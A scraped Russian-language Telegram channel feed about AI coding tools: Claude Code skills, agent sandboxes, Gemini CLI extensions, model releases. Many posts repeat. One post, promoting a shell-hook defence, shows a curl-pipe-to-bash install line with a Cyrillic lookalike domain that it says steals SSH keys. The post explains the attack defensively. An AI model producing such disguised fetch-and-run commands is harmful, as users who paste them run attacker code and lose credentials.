This media is not supported in your browser
VIEW IN TELEGRAM
Gemini CLI прокачали расширения: теперь они поддерживают Agent Skills и Hooks
Это значит расширение для CLI теперь может быть не просто пакетиком команд, а нормальным набором кирпичиков под агента, в одном месте:
▪️ Agent Skills (скиллы агента)
▪️ Hooks (хуки на события/триггеры)
▪️ MCP servers
▪️ Context files (файлы контекста)
▪️ Custom commands (кастомные команды)
Говорят, уже есть 300+ расширений, можно ставить готовые или собрать свое.
Это значит расширение для CLI теперь может быть не просто пакетиком команд, а нормальным набором кирпичиков под агента, в одном месте:
Говорят, уже есть 300+ расширений, можно ставить готовые или собрать свое.
Please open Telegram to view this post
VIEW IN TELEGRAM
7
Новый роутер:
Самый простой способ маршрутизировать запросы во все бесплатные LLM, при этом модели подбираются по совместимости с твоим запросом
Попробовать можно тут
Еще учитываются твои настройки приватности при подборе бесплатных моделей, так что лучше их заранее проверить🤭
Заметка для пользователей OpenClaw:
После этого перезапусти gateway, и уже потом проси переключиться на нее.
openrouter/freeСамый простой способ маршрутизировать запросы во все бесплатные LLM, при этом модели подбираются по совместимости с твоим запросом
Попробовать можно тут
Еще учитываются твои настройки приватности при подборе бесплатных моделей, так что лучше их заранее проверить
Заметка для пользователей OpenClaw:
openrouter/free это новая модель, поэтому чтобы она появилась, можно выполнить:openclaw config unset agents.defaults.models
После этого перезапусти gateway, и уже потом проси переключиться на нее.
Please open Telegram to view this post
VIEW IN TELEGRAM
4
У Claude Code появился свой “продакт”
Вышел новый open-source инструмент, который автоматизирует весь пайплайн от документа до деплоя.
Он превращает сырые PRD в эпики, эпики в GitHub issues, а issues в продакшн-код. Автоматом.
И да, это на 100% open source.
Вышел новый open-source инструмент, который автоматизирует весь пайплайн от документа до деплоя.
Он превращает сырые PRD в эпики, эпики в GitHub issues, а issues в продакшн-код. Автоматом.
И да, это на 100% open source.
3
Для тех, кто спрашивает:
Теперь доступны Docker Sandboxes.
Они работают в изолированных microVM, так что агенты могут ставить пакеты, запускать Docker и править конфиги, не трогая хост-систему.
Подробнее → читать
“как гонять кодинг агентов и не угробить свой комп?”
Теперь доступны Docker Sandboxes.
Они работают в изолированных microVM, так что агенты могут ставить пакеты, запускать Docker и править конфиги, не трогая хост-систему.
Подробнее → читать
2
Зацените божественный проект NanoClaw.
Идея родилась так: автор посмотрел на раздутый кодбейз OpenClaw и просто поплыл: 52+ модулей, 8 конфигов, 45+ зависимостей. Трудноперевариваемая каша
В итоге он махнул рукой и сделал NanoClaw: код ужали и теперь понятно что за что отвечает
Запускается в контейнере Apple, агент крутится внутри, наружу особо не вылезает и ничего лишнего не творит. Вот это тру минимализм.
Исходники тут
Идея родилась так: автор посмотрел на раздутый кодбейз OpenClaw и просто поплыл: 52+ модулей, 8 конфигов, 45+ зависимостей. Трудноперевариваемая каша
В итоге он махнул рукой и сделал NanoClaw: код ужали и теперь понятно что за что отвечает
Запускается в контейнере Apple, агент крутится внутри, наружу особо не вылезает и ничего лишнего не творит. Вот это тру минимализм.
Исходники тут
GitHub
GitHub - gavrielc/nanoclaw: A lightweight alternative to Clawdbot / OpenClaw that runs in Apple containers for security. Connects…
A lightweight alternative to Clawdbot / OpenClaw that runs in Apple containers for security. Connects to WhatsApp, has memory, scheduled jobs, and runs directly on Anthropic's Agents SDK - ...
3
Я протестировал много Claude Code скиллов, и последний из них: Planning with files.
Эта имба почти всегда (в 99% случаев) идеально закрывает все фичи, даже сложные.
Если ты ее не юзаешь, ты многое теряешь
Начать просто:
Дальше, когда пишешь любой промпт, просто добавь фразу: “Plan with files”.
Claude сам подхватит скилл и создаст 3 файла:
И в отличие от обычного plan mode, он будет возвращаться к этим файлам на протяжении всего планирования и выполнения, постоянно держа перед глазами что надо сделать и как.
Из-за этого “дрейф” почти пропадает, и план чётко выполняется по шагам.
Да, токенов съедает больше, но зато с первого раза и стабильно. Попробуй👏
Исходный код
Эта имба почти всегда (в 99% случаев) идеально закрывает все фичи, даже сложные.
Если ты ее не юзаешь, ты многое теряешь
Начать просто:
npx skills add https://github.com/othmanadi/planning-with-files --skill planning-with-files
Дальше, когда пишешь любой промпт, просто добавь фразу: “Plan with files”.
Claude сам подхватит скилл и создаст 3 файла:
task_plan.md, findings.md, progress.md.И в отличие от обычного plan mode, он будет возвращаться к этим файлам на протяжении всего планирования и выполнения, постоянно держа перед глазами что надо сделать и как.
Из-за этого “дрейф” почти пропадает, и план чётко выполняется по шагам.
Да, токенов съедает больше, но зато с первого раза и стабильно. Попробуй
Исходный код
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - OthmanAdi/planning-with-files: Claude Code skill implementing Manus-style persistent markdown planning — the workflow…
Claude Code skill implementing Manus-style persistent markdown planning — the workflow pattern behind the $2B acquisition. - OthmanAdi/planning-with-files
8
This media is not supported in your browser
VIEW IN TELEGRAM
Цитирование через промпт это надежда, что Claude процитирует точно. Фича citations это гарантирует.
Включается так:
Каждая цитата будет структурно гарантированно ссылаться на реальный текст, который вы сами предоставили.
Citations работают везде:
▪️ Ваши документы (PDF, текст) ->
▪️ Веб-поиск ->
▪️ Ваши кастомные результаты RAG ->
Один единый паттерн, чтобы любую заяву можно было быстро отследить до источника.
Доки
Включается так:
"citations": {"enabled": true} в ваших документах.Каждая цитата будет структурно гарантированно ссылаться на реальный текст, который вы сами предоставили.
Citations работают везде:
char_location, page_locationweb_search_result_location (всегда включено) search_result_locationОдин единый паттерн, чтобы любую заяву можно было быстро отследить до источника.
Доки
Please open Telegram to view this post
VIEW IN TELEGRAM
3
This media is not supported in your browser
VIEW IN TELEGRAM
Запустили RentAHuman.ai : сервис, где цифровые агенты могут нанимать реальных людей для выполнения задач в реальной жизни.
За первую ночь зарегистрировались уже 130+ человек, среди них модель с OnlyFans и CEO AI-стартапа.😆
Теперь, если вашему AI-агенту нужна помощь IRL, достаточно одного MCP-вызова, чтобы подключить настоящего человека.
Это объединяет автономных агентов и реальный мир
За первую ночь зарегистрировались уже 130+ человек, среди них модель с OnlyFans и CEO AI-стартапа.
Теперь, если вашему AI-агенту нужна помощь IRL, достаточно одного MCP-вызова, чтобы подключить настоящего человека.
Это объединяет автономных агентов и реальный мир
Please open Telegram to view this post
VIEW IN TELEGRAM
6
Релиз Qwen3-Coder-Next — открытая модель для кода, заточенная под агентов и локальную разработку.
Что нового:
Результаты на агентных бенчмарках: SWE-Bench Verified: Qwen3-Coder-Next >70% с фреймворком SWE-Agent
Несмотря на небольшой активный след, модель сравнима или превосходит несколько гораздо больших open-source моделей на разных агентных тестах.
Что нового:
▪️ 800 000 проверяемых задач + исполняемые окружения▪️ сильные результаты на SWE-Bench Pro с 80B параметров всего и 3B активных▪️ Поддержка: OpenClaw, Qwen Code, Claude Code, веб-разработка, браузер, Cline и другие▪️ Hugging Face: [ссылка]▪️ ModelScope: [ссылка]▪️ Блог: [ссылка]▪️ Технический отчет: [ссылка]
Результаты на агентных бенчмарках: SWE-Bench Verified: Qwen3-Coder-Next >70% с фреймворком SWE-Agent
Несмотря на небольшой активный след, модель сравнима или превосходит несколько гораздо больших open-source моделей на разных агентных тестах.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
2
This media is not supported in your browser
VIEW IN TELEGRAM
Теперь к Claude можно подключаться прямо в Chrome через расширение VS Code.
Используй это для отладки фронтенд-приложений, сбора данных или автоматизации работы в браузере.
Установи расширение и введи
Установите расширение Claude в Chrome здесь, а VS Code здесь
Используй это для отладки фронтенд-приложений, сбора данных или автоматизации работы в браузере.
Установи расширение и введи
@browser, чтобы начать.Установите расширение Claude в Chrome здесь, а VS Code здесь
2
Будь честен. Когда ты в последний раз читал команду, прежде чем вставить её в терминал?
Потому что эти две строки выглядят одинаково:
Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.
Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.
Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном
Поэтому и сделали фикс — tirith
Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.
30 правил. Полностью локально. Никакой телеметрии
Потому что эти две строки выглядят одинаково:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.
Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.
Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном
curl | bash от того, чтобы потерять всё.Поэтому и сделали фикс — tirith
Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.
30 правил. Полностью локально. Никакой телеметрии
5
This media is not supported in your browser
VIEW IN TELEGRAM
Теперь можно использовать Claude и Codex в GitHub и VScode с подпиской GitHub Copilot Pro+ или Copilot Enterprise.
▪️ Единое рабочее пространство с сессиями агентов для локальных, фоновых и облачных агентов
▪️ Параллельные сабагенты
▪️ Встроенный браузер
И многое другое…
И многое другое…
Please open Telegram to view this post
VIEW IN TELEGRAM
2
Советы для работы с Claude Code
(Добавьте их в ваш CLAUDE
1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.
2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.
3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.
4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.
5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE
На англ.:
В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.
(Добавьте их в ваш CLAUDE
.md файл)1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.
2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.
3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.
4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.
5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE
.md файл, чтобы это больше не повторялось.На англ.:
1. "Before writing any code, describe your approach and wait for approval. Always ask clarifying questions before writing any code if requirements are ambiguous."
2. "If a task requires changes to more than 3 files, stop and break it into smaller tasks first."
3. "After writing code, list what could break and suggest tests to cover it."
4. "When there’s a bug, start by writing a test that reproduces it, then fix it until the test passes."
5. "Every time I correct you, add a new rule to the CLAUDE .md file so it never happens again."
В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.
5
Опенсорс скилл: code-review-expert
Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи
Установка командой:
repo: https://github.com/sanyuan0704/code-review-expert
Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи
Установка командой:
npx skills add sanyuan0704/code-review-expert
repo: https://github.com/sanyuan0704/code-review-expert
GitHub
GitHub - sanyuan0704/code-review-expert: Expert code review skill: SOLID, security, performance, error handling, boundary conditions
Expert code review skill: SOLID, security, performance, error handling, boundary conditions - sanyuan0704/code-review-expert
This media is not supported in your browser
VIEW IN TELEGRAM
Ну всё, приехали.
AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.
Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.
Код на 100% open source.
AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.
Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.
Код на 100% open source.
Сейчас AI-агенты всё лучше пишут код, но запускать их напрямую на локалке не всегда то и хочется
Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.
Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.
Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.
AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.
Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы
Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.
Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.
Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.
AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.
Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы
GitHub
GitHub - lynaghk/vibe: Easy Linux virtual machine on MacOS to sandbox LLM agents.
Easy Linux virtual machine on MacOS to sandbox LLM agents. - lynaghk/vibe
6
This media is not supported in your browser
VIEW IN TELEGRAM
В Claude Code добавили новую команду
Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.
/insights.Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.
3
This media is not supported in your browser
VIEW IN TELEGRAM
Кто-то создал курс по изучению Claude Code в Claude Code: попробуйте
10
Сразу 2 мощнейших релиза: вышли Claude Opus 4.6 и GPT-5.3 Codex
Opus 4.6 от Anthropic:
https://www.anthropic.com/news/claude-opus-4-6
GPT-5.3 Codex от OpenAI:
https://openai.com/index/introducing-gpt-5-3-codex/
Opus 4.6 от Anthropic:
– контекст 1 млн токенов (в бете)
– заметно лучше держит большие кодовые базы и длинный ризонинг
– стабильнее в агентных сценариях (кодинг, поиск, аналитика)
– адаптивное мышление, авто-компрессия контекста, 128k токенов output
– цена без изменений
https://www.anthropic.com/news/claude-opus-4-6
GPT-5.3 Codex от OpenAI:
– на TerminalBench обходит новый Opus 4.6 (77.3% против 65.4%), плюс 57% на SWE-Bench Pro и 64% на OSWorld
– управляемость прямо в процессе выполнения и живые апдейты по ходу задач
– для тех же задач тратит меньше чем в 2 раза токенов, чем 5.2-Codex, и при этом >25% быстрее на токен
– хорошо справляется с “computer use” (умеет нормально работать с задачами на компьютере)
– модель уже доступна в Codex
https://openai.com/index/introducing-gpt-5-3-codex/
10